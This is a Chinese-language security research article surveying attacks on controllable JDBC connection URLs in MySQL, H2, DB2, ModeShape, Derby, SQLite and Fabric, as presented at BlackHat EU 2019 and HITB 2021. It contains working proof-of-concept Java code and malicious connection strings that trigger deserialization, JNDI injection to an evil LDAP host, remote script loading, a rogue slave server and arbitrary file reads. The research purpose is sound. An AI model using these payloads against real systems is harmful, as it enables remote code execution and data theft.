作者:su18
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

當一個 JDBC 連接 URL 可控時,能造成什么影響?相關的若干攻擊方法已經被披露很長時間了,但是我還一直都沒有學習,隨著 HITB2021SIN 中的分享議題 "Make JDBC Attacks Brilliant Again" 的視頻上傳到了 Youtube 上之后,我覺得實在是不能再拖了,于是就有了這篇文章,本文記錄了相關的學習和研究成果,并集合了相關的漏洞代碼。

在看本篇文章時,可以邊結合視頻,邊看 PPT 邊看我對其的講解分析,打開 youtube 的自動字幕和自動翻譯,結合本文,對英文不好的同學來說可能更容易一點。

開端

在 2019 年歐洲 BlackHat 大會上, 一個名為 "New Exploit Technique In Java Deserialization Attack" 的議題由 Back2Zero 安全團隊的 Yongtao Wang, Lucas Zhang, Kevin Li 以及 Kunzhe Chai 分享出來,首次披露了 JDBC 相關反序列化攻擊的利用技術。

視頻也上傳到了 youtube 上,首先來跟著 PPT 學習一下。

Introduction to Java Deserialization

這個議題根據其 PPT 一共有 5 個部分,第一部分是對 Java 反序列化漏洞的一些介紹,比較基礎,這里我就不再描述了,之前我也寫過一篇相關的文章《Java反序列化取經路》,對基礎有問題的朋友可以先補一下。這里我就直接貼幾張議題中的 PPT。

攻擊場景,以及一些再反序列化過程中會自動觸發的方法

一個有漏洞的類的舉例,可以看到,在重寫的 readObject 中執行了文件刪除的操作

Well-Known Defense Solutions

Lucas 列舉出了三種廣泛使用的防御反序列化漏洞的方案。

  1. 黑名單校驗 通過在反序列化過程中對輸入流進行校驗來確保其安全性. 如果反序列化過程中遇到了黑名單的類,將會終止反序列化進程。一般是通過增強 resolvClass 方法來實現的。 我們可以在 Jackson/Weblogic 以及開源項目 SerialKiller 中看到這種防御機制的實現。
  2. JEP290(過濾機制) JEP290 提供了一個 Filter 機制,可以對反序列化數據的輸入流進行過濾,來提高安全性。官方文檔可以看這里。每當進行一次反序列化操作時,底層就會根據filter中的內容來進行判斷,從而防止惡意的類進行反序列化操作。此外,還可以限制反序列化數據的信息,比如數組的長度、字節流長度、字節流深度以及使用引用的個數等。filter返回accept,reject或者undecided幾個狀態,然后用戶根據狀態進行決策。
  3. Runtime Application Self-protection(RASP) RASP 大家應該都不陌生了,這里就不多說了, 在 JavaSec 里園長寫了一篇文章,大家可以看一看。總體來說,RASP 是在程序運行時基于行為的防御,不基于規則,也不基于黑名單。 但各家 RASP 實現參差不齊,部分 RASP 可能僅僅關注了簡單的命令執行功能的防御,而對其他的防御沒有到位。

這三種通用的方法,還不是完美的防御方案,可能存在一些瑕疵: - 如果我們找到了一條新的反序列化利用鏈,就可以繞過基于黑名單的反序列化防御機制; - 大多數的安全研究員一般情況下會找一些包含常見危險函數的 Gadget,比如執行命令的 Runtime.exec(),導致一些防御措施甚至是 RASP 也僅僅防御了這些常見的危險函數,此時如果我們發現了一個 Java 中的攻擊向量,就可以繞過絕大部分的防御手段。

Critical vulnerabilities in Java

接下來 Lucas 公布了兩個能帶來較大危害的攻擊向量。

URLConnection

提到 URLConnection,我能想到的漏洞利用就只有 SSRF,但是 Lucas 將其延伸至 NTLM Reflection Attack (CVE-2019-1040) 并且獲得了本地 Windows 憑證信息。

這部分不是本文的重點,所以也將其略過。

JDBC

這部分的議題由 Kunzhe Chai 給出了相關的講解。

JDBC 是 JavaSE 中一個重要的 API,定義了一個客戶端連接數據庫的方式。

開發人員使用 JDBC 與數據庫建立連接,對數據庫執行查詢和更新語句,并檢索從數據庫接收到的結果。下面是一個常見的創建連接并查詢數據的過程:

public static void main(String[] args) throws Exception {

        String CLASS_NAME = "com.mysql.jdbc.Driver";
        String URL        = "jdbc:mysql://localhost:3306/test";
        String USERNAME   = "root";
        String PASSWORD   = "root";

        Class.forName(CLASS_NAME);
        Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

        Statement statement = connection.createStatement();
        statement.execute("select 10086");
        ResultSet set = statement.getResultSet();
        while (set.next()) {
            System.out.println(set.getString(1));
        }

        statement.close();
        connection.close();
    }

JDBC 通常使用不同的 URL/URI 連接字符串來與指定類型的數據庫建立連接,這個 URL 主要包含三個部分: 驅動名稱、連接地址以及擴展參數。

而 "擴展參數" 就是本次導致安全漏洞的一個重要的部分。

Mysql JDBC 中包含一個危險的擴展參數: ”autoDeserialize“。這個參數配置為 true 時,JDBC 客戶端將會自動反序列化服務端返回的數據,這就產生了 RCE。

此時如果攻擊者作為 MYSQL 服務器的角色,給客戶端返回了惡意的序列化數據,客戶端就會自動反序列化觸發惡意代碼,造成漏洞。

在此處我們以 mysql-connector-java 8.0.14 為例,類 com.mysql.cj.jdbc.result.ResultSetImpl 實現了 java.sql.ResultSet 并且重寫了 getObject() 方法。

如果在 JdbcConnection 的相關屬性中找到了 "autoDeserialize" 參數,客戶端就會讀取服務端返回數據并執行其 readObject() 方法,這就是 mysql jdbc 攻擊的最根本原因。

但是在默認情況下 JDBC 客戶端不會調用 getObject() 函數來處理攻擊者的數據,所以還需要找到一個可以觸發的方式。

經過了一番深入的研究,Kunzhe Chai 找到了一個可以觸發這個方法的擴展參數 : queryInterceptors

"queryInterceptors" 參數可以指定接口 com.mysql.cj.interceptors.QueryInterceptor 的子類,通過名字可以看到,這是一個起到”攔截器“作用的類。在這些攔截器的實現類中,可以修改或增強語句的某些子級所做的處理,例如自動檢查 memcached 服務器中的查詢數據、重寫慢速查詢、記錄有關語句執行的信息,或將請求路由到遠程服務器。總體來說,這是一個為查詢提供自動化增強功能的參數。

根據相關的

接口 QueryInterceptor 提供了一個完整的攔截流程如 init->preProcess->postProcess->destroy, 而且 QueryInterceptors 是 "chainable" 的,也就是鏈式的,可以指定多個 QueryInterceptor ,上一個處理的結果會傳遞給下一個 QueryInterceptor。

在 mysql-connector-java 中,QueryInterceptor 有好幾個實現類。

Chai 發現 ServerStatusDiffInterceptor 會調用 getObject 方法,接下來看一下具體的調用鏈。

ServerStatusDiffInterceptor 用于顯示在查詢之間服務器狀態的差異,preProcess()/postProcess() 調用 populateMapWithSessionStatusValues()方法。

populateMapWithSessionStatusValues() 使用已經建立的 connection 創建并執行了一個新的語句 SHOW SESSION STATUS,并調用 ResultSetUtil.resultSetToMap() 處理返回結果。

resultSetToMap 調用了之前我們提到的 getObject() 方法,連成了一條調用鏈。

有了上面的知識點的積累,我們已經找到了一條反序列化的攻擊路徑:如果我們可以控制 JDBC URI,我們就可以: - 將 JDBC 連接地址指向攻擊者事先準備好的惡意服務器,這個服務器可以返回惡意的序列化數據。 - 指定 autoDeserialize 參數為 true,mysql 客戶端就可以自動反序列化惡意 payload。 - 使用 ServerStatusDiffInterceptor 觸發客戶端和服務端的交互和反序列化。

攻擊 JDBC 的步驟大概分為:

New exploit for Java Deserialization

在這一 part,Kunzhe Chai 組合了 3 個漏洞(反序列化/NTLM Hash Leaking/NTLM Reflection Attack) 組成了 RCE 漏洞利用。

然后他制作了一個視頻來演示在一個真實環境中的攻擊。

然后他展示了他找到的其他可以觸發 URLConnection 的 gadget,可以觸發其他例如 Java 反序列化/Jackson 的漏洞利用。

依舊不是本篇文章的重點,繼續略過。

Takeaways

在 PPT 的結尾,Chai 給開發人員和安全研究人員都提了一些建議:

后續

在聽整個演講的過程中,我一直有個疑問,演講之后的提問環節恰好有個老外問了這個問題:

攻擊者可以控制 jdbc url 的情況好像并不常見,在什么情況下我們可以在現實世界中執行這個攻擊呢?

這確實是一個比較現實的問題,Lucas 給出了他的答案:云平臺配置。

然后這個老外接著問,有沒有一個獨立的產品,不正確的允許了攻擊者配置 jdbc url。我感覺這個老外可能并不認可這種漏洞利用鏈作為一種攻擊手段。

Lucas 好像沒懂他的問題,并沒有給出清晰的解釋。同時我也覺得應該不會有商業化產品能允許攻擊者未授權的修改 jdbc connection url。

但是無論如何,這種技術永遠可以用來進行反制紅隊或者威脅誘捕(比如說蜜罐)。

在會議中,Lucas 和 Chai 僅僅提供了思路,并沒有提供能夠返回惡意序列化的 mysql 服務端。

幾個月后,codeplutos 使用了修改后的 MySQL 插件來成功創建了惡意服務器,并且使用了一個新的擴展參數: detectCustomCollations

當在 jdbc 連接參數中設置了 detectCustomCollations=true 時,也可以觸發反序列化的流程,調用點在 com.mysql.jdbc.ConnectionImpl#buildCollationMapping, 依賴是 mysql-connector-java 5.1.29。

buildCollationMapping 方法會執行 SQL 語句 SHOW COLLATION 并調用 Util.resultSetToMap() 處理返回結果。

resultSetToMap() 方法調用 getObject() 導致反序列化。

無論用上面哪條觸發鏈,我們都需要創建一個惡意的 mysql 服務端來針對這兩條在建立連接時觸發 gadget 中執行的 SQL 語句進行響應: - SHOW SESSION STATUS - SHOW COLLATION

但是該如何創建?

一個月后, fnmsd 師傅發布他的 研究文章 以及他的 fake server 項目

fnmsd 師傅在分析了 MySQL connector/J 的不同版本后,給出了一個統一的總結,并給出了不同版本所需的惡意 URL。

十分建議先學習一下 fnmsd 師傅的文章。

打造自己的惡意服務器

在了解了調用鏈和原理后,下一步我們可以打造一個屬于自己的惡意服務器。有以下幾種實現思路: - 從頭開始編寫一個偽 MySQL 服務器,兼容 MySQL 的協議交互和 MySQL SQL 語法執行的流程。(需要了解通信協議和實現機制,工作量太大) - 對 jdbc 連接過程中的全部 TCP 進行抓包,分析服務端和客戶端交互的全部流程,包括握手、認證、執行語句等等, 重現整個交互流程,在指定位置返回惡意數據包。(fnmsd 師傅應該就是這樣實現的) - 通過修改后的 mysql 插件來實現相應的功能。(codeplutos 師傅的實現方式)

但這些方法對我來說都太復雜了,所以我嘗試使用了更簡單更優雅的方式創建了自己的惡意服務器,使用了所謂的:”數據庫中間件“。

我找到了一個 alibaba 的開源項目 cobar, 它是一個分片數據庫的代理,不過你管它叫什么都行,實際上它就是一個客戶端和服務端的中間的代理。

在使用 cobar 等數據庫中間件時,對于真正的客戶端,cobar 扮演 Mysql 服務器的角色;對于真正的服務器,cobar 是其客戶端。因此,它是我們控制特定語句執行結果的完美工具。

Talk is cheap.讓我們在實際環境中演示真正的攻擊過程: - Real Mysql Server: 5.6.35 - cobar: 4.0.0 - mysql-connector-java: 5.1.29 - 客戶端依賴: commons-collections-3.2.1 - 攻擊方式: detectCustomCollations

準備惡意序列化數據

首先,生成惡意序列化 payload,在我的演示環境里使用了 CC1 的利用鏈,并且最終調用 Runtime.exec() 執行系統命令 "open -a Calculator.app" 彈出計算器,圖中是我學習 ysoserial 中使用的工具,你可以使用任何工具生成任何利用鏈。

然后,在真實的 Mysql 服務器創建一個儲存惡意序列化數據的表,表中至少有 3 個字段,并且第三個字段的數據類型是 blob。

因為對于 detectCustomCollations 攻擊方式來說,觸發的第三個字段結果的對象反序列化,所以要在指定位置準備惡意 payload。

最后,我們使用如下代碼將惡意序列化的數據插入表中:

public static void main(String[] args) throws Exception {

    String CLASS_NAME = "com.mysql.jdbc.Driver";
    String URL        = "jdbc:mysql://localhost:3306/test";
    String USERNAME   = "root";
    String PASSWORD   = "123456";

    Class.forName(CLASS_NAME);
    Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

    File file   = new File("/Users/phoebe/IdeaProjects/ysoserial-su18/CC1WithTransformedMap.bin");
    int  length = (int) file.length();

    FileInputStream stream = new FileInputStream(file);

    PreparedStatement statement = connection.prepareStatement("INSERT INTO evil (`a`,`b`,`c`) VALUES (1,1,?)");
    statement.setBlob(1, stream, length);
    statement.execute();

    statement.close();
    connection.close();
}

配置代理層 Mysql 服務器

準備好存放惡意類的數據庫后,就要配置數據庫中間件,也就是 cobar,根據其配置文件規則,讓其連接到 Mysql Server:

接下來配置 cobar 提供服務的一些參數,等待客戶端的連接。

啟動 cobar 后,他就變成了客戶端到真實服務器的一個代理,無論再客戶端執行了什么 sql 語句,cobar 都會先讀取并解析,然后由 cobar 再去服務端執行查詢獲取結果。

我們已經知道,如果我們在 jdbc 連接參數中設置了 detectCustomCollations=true , jdbc connector 會執行 SHOW COLLATION 語句,并嘗試對返回字段的第三個字段進行反序列化。

在使用了 cobar 后,我們可以在中間層面替換執行的 sql 語句,僅僅需要如下兩行簡單的代碼:

將這兩行代碼加入 com.alibaba.cobar.server.ServerConnection#execute 方法中,當 cobar 獲取 SHOW COLLATION 語句后,就會向真實的服務器中執行 select * from evil,服務器會返回我們事先準備好的惡意字節碼。

建立連接

使用 cobar 來建立連接。

public static void main(String[] args) throws Exception {
    String CLASS_NAME = "com.mysql.jdbc.Driver";
    String URL        = "jdbc:mysql://localhost:8066/dbtest?detectCustomCollations=true&autoDeserialize=true";
    String USERNAME   = "root";
    String PASSWORD   = "123456";

    Class.forName(CLASS_NAME);
    Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
    connection.close();
}

成功彈出計算器。

Cheat Sheet

下面是 fnmsd 師傅文章中的兩個截圖,可以用來做 Cheat Sheet。

ServerStatusDiffInterceptor

detectCustomCollations

Arbitrary File Reading Vulnerability

除了操控 JDBC URI 導致反序列化漏洞之外, 在很久之前還披露了一種能夠導致任意文件讀取的 JDBC 攻擊手段。

如果 mysql 客戶端在連接服務端時使用了 –enable-local-infile 選項,并執行 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'; 語句,客戶端會讀取本地的文件并將其內容發送至服務端。

因此,如果 mysql 服務器是不受信任的服務器,一個簡單的建立連接行為可能會導致對客戶端的任意文件讀取。更多的細節可以查看 LoRexxar 師傅的相關 博客 以及 Github 上的 惡意服務器項目

Jdbc connector 中的 Sink 點位于 com.mysql.jdbc.MysqlIO#sendFileToServer

Make JDBC Attacks Brilliant Again

本篇議題由 Litch1 和 pyn3rd 在 HITB SECCONF SIN-2021 上分享。演講 PPT 在這里 ,議題視頻在這里。線上講解的是 Litch1 師傅。接下來跟著大佬的分享一起學習學習。

首先,他介紹了一下背景,并回顧了使用 ServerStatusDiffInterceptor 在不同版本中利用的的情況。

隨后他列舉了使用 jdbc 攻擊技術的常見場景: - 新反序列化鏈(如 fastjson/jackson,getter/setter 方法中包括初始化數據庫鏈接的邏輯) - 攻擊 SpringBoot Actuator - API 接口暴露 - 釣魚,蜜罐

然后他給出了一些典型的 jdbc 攻擊案例。

CSRF to JDBC Attack(Weblogic)

Weblogic (CVE-2020-2934), 由于 Weblogic 在創建 JDBCDataSourceForm 的接口中沒有 CSRF 檢測,攻擊者可以使用 csrf 攻擊結合 jdbc attack 技術組合為 RCE。

根據 PPT 中的截圖,我跳過了 csrf 的部分復現了攻擊。

Reconfigure JDBC Resource(Wildfy)

JBOSS/Wildfy,在后臺或各種中間件的內容管理系統中也有 jdbc 數據源的相關配置功能。例如 JBoss/Wildfy,因為 h2 數據庫的 Driver 是內置的,攻擊者可以在后臺重新配置 jdbc 并實現攻擊。

H2 RCE

H2 的攻擊使用了 Spring Boot H2 console 的特性,通過更改 h2 數據庫的連接 url,攻擊者可以迫使 spring boot 從遠程運行 SQL 腳本。

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

腳本如下,創建了一個調用 Runtime.getRuntime().exec()的函數并執行彈出計算器命令。

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

需要如下參數:

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

復現截圖如下:

攻擊是如何執行的呢?

INIT RUNSCRIPT

Sink 點在 org.h2.engine.Engine#openSession,h2 引擎在參數中拆分 ”INIT“ 參數并使用 CommandInterface 的不同實現類來根據配置初始化數據庫連接。

在本案例下,具體的處理類是 org.h2.command.CommandContainer

當使用 RUNSCRIPT 命令時, h2 數據庫最終會調用 org.h2.command.dml.RunScriptCommand#execute 執行惡意 SQL 語句。

在這里為什么要使用 ”RUNSCRIPT“命令呢?

因為我們使用的 POC 需要執行兩條 SQL 語句,第一條是 CREATE ALIAS 定義方法,第二條是 EXEC 執行。然而 session.prepareCommand 不支持多條 SQL 語句的執行。因此我們需要使用 RUNSCRIPT 命令從遠端服務器加載 sql 語句。

但這也意味著攻擊需要網絡連接,如何繞過網絡的限制?由于 h2 是一個嵌入式數據庫,因此有可能發現不需要任何外部連接的攻擊。

Source Code Compiler

因此,我們應該找到一種方法,將 POC sql 簡化為一條語句,這樣就省去了交互,不用連接遠程數據庫。

Litch1 翻了 CREATE ALIAS 實現的源代碼,發現在 SQL 語句中對于 JAVA 方法的定義被交給了源代碼編譯器。有三種支持的編譯器:Java/Javascript/Groovy。

首先來看一下 Groovy。

org.h2.util.SourceCompiler#getClass 方法, h2 使用 isGroovySource 來判斷是不是 Groovy 源代碼。

如果是,則調用 GroovyCompiler.parseClass() 來解析 groovy 代碼。這與 Orange 在 Hacking Jenkins Part 2 議題中分析的 Sink 點是一致的.

由此 Litch1 給出了使用 @groovy.transform.ASTTEST 在 AST 中使用 assert 執行命令的 POC。

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

然而 Groovy 依賴并不容易遇到,因此 Litch1 又給出了使用 JavaScript 和 CREATE TRIGGER 的利用鏈,這條鏈不僅僅編譯源代碼,還調用了 eval 執行。

POC 如下:

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

IBM DB2

MySQL 中發現的漏洞是由于其可配置屬性的特性造成的。那么,如果可控,是否還有其他可配置屬性會導致漏洞?

在 DB2 中,Litch1 找到了 clientRerouteServerListJNDINameIdentifies。這個屬性的作用是什么呢?如下:

It's a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface.

翻譯成人話,就是這個 JDBC URL 配置可以導致 JNDI 注入。

POC 如下:

public static void main(String[] args) throws Exception {
    Class.forName("com.ibm.db2.jcc.DB2Driver");
    DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}

ModeShape

ModeShape 是一個 JCR(Java Content Repository) 的實現,使用 JCR API 來從其他系統中獲取數據,例如文件系統、 JDBC 元數據等。

Repository 源可以配置成 jdbc:jcr:jndi:jcr:?repositoryName=repository.

很明顯又是一個 JNDI 注入,如下:

public static void main(String[] args) throws Exception {
    Class.forName("org.modeshape.jdbc.LocalJcrDriver");
    // A JNDI URL that points the hierarchical database to an evil LDAP service 
    DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass");
}

Apache Derby

Apache Derby 像 h2 一樣,有時會被內嵌在一些系統中。在 derby 驅動源代碼中 Litch1 在 org.apache.derby.impl.store.replication.net.SocketConnection 類中找到了一個可疑的反序列化調用。

然后他發現了一個內部類 ReplicationMessageTransmit$MasterReceiverThread 調用了這個方法。

ReplicationMessageTransmit 類是在配置了 startMaster=trueslaveHost=127.0.0.2 之后用來在主從服務器之間拷貝數據的。

如果我們將 slaveHost 字段配置成為了惡意的服務器,derby 會建立 JDBC 連接并讀取惡意數據,MasterReceiverThread 調用 readMessage 方法,惡意服務器將返回惡意代碼并觸發反序列化利用。

POC 如下:

public static void main(String[] args) throws Exception{
    Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
    DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip");
}

惡意的 SLAVE 服務器如下:

public class EvilSlaveServer {
    public static void main(String[] args) throws Exception {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("open -a Calculator")));
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}

SQLite

在使用 SQLite 時, org.sqlite.core.CoreConnection#open 方法會在與服務器建立連接時被調用。

這個方法提供了一個特性: 如果 connection URL 以 :resource: 開頭,將會調用 extractResource 方法從 URL 連接獲取數據庫內容。

extractResource()方法代碼如下:

從這個方法我們可以看出,當我們的連接 URL 如下 jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db,SQLite 會嘗試請求地址并從中讀取內容。

這首先無疑是個 SSRF,但是 SSRF 是不夠的。

那么當我們能控制 JDBC URL 和數據庫文件內容時,該如何執行攻擊呢?

根據 "SELECT code_execution FROM * USING SQLite;",我們可以使用 ”CREATE VIEW“ 不可控的 SELECT 語句轉換為可控的 SELECT 語句。

如果我們可以控制 SELECT 語句,我們可以使用 SELECT load_extension('/tmp/test.so') 來加載 dll/so 并執行惡意代碼,但是在實際環境中,并不是經常能遇見服務器上文件可控的情況,而且 load_extension 默認是不開啟的。

除了常見的漏洞之外,我們還可以使用 SQLite 中的內存損壞例如 “Magellan” 來導致JVM崩潰。(超出知識范圍)

如何防御

以上就是 Litch1 研究和總結的全部攻擊 JDBC Connection URL 的相關內容。

這一部分討論一下開源軟件都是怎么抵御 JDBC 攻擊的。

Apache Druid CVE-2021-26919 補丁

Apache DolphinScheduler CVE-2020-11974 補丁

我們可以利用屬性過濾器解析器和 JDBC 驅動程序解析器之間的差異,并使用它繞過安全補丁。

Java Service Provider Interface

SPI 技術用于加載 JDBC 連接器的驅動程序。

5.1.48 版本的 mysql connector,注冊了兩個 JDBC 驅動器。除了常規的 com.mysql.cj.jdbc.Driver,還有一個com.mysql.fabric.jdbc.FabricMySQLDriver

MySQL Fabric 是一個用于管理 MySQL 服務器群的系統。MySQL Fabric 提供了一個廣泛且易于使用的系統,用于管理 MySQL 部署以實現共享和高可用性。

Litch1 研究了 FabricMySQLDriver 的源碼,發現如果 connection url 以 jdbc:mysql:fabric:// 開頭,程序將會進入 Fabric 的處理邏輯。

并將向主機發送一個 XMLRPC 請求。

關鍵的代碼點都在上面兩張 PPT 中,在使用 Fabric 驅動時,在建立 JDBC 連接后,會自動觸發一個 XMLRPC 請求,這顯然是一個 SSRF。

但某位大牛曾經說過,SSRF 是 RCE 的起手式。Litch1 繼續深挖,發現了在處理相應數據時產生的 XXE 漏洞。

所以漏洞觸發過程很簡單,建立連接,解析 XML,PPT 中給出了惡意服務端的 python 源代碼。

總結

全部的測試環境和代碼已經公開在了 Github 項目中,請移步查看:https://github.com/su18/JDBC-Attack

彩蛋

在群聊賽博回憶錄中,有師傅提到,PostgreSQL Connection URL 有幾個參數可以導致問題,研究了一下之后發現可以 getshell,目前沒有更新在項目中,這里作為彩蛋提一下,有興趣的師傅自行研究吧~

引用

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

http://www.bjnorthway.com/1227/

https://www.cnblogs.com/Welk1n/p/12056097.html

https://github.com/fnmsd/MySQL_Fake_Server

https://github.com/Gifts/Rogue-MySql-Server

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

https://github.com/alibaba/cobar

https://www.anquanke.com/post/id/203086

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-interceptors.html

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927

https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html

https://lorexxar.cn/2020/01/14/css-mysql-chain/

https://xz.aliyun.com/t/3973

http://www.h2database.com/html/features.html#connection_modes

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

https://pyn3rd.github.io/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1832/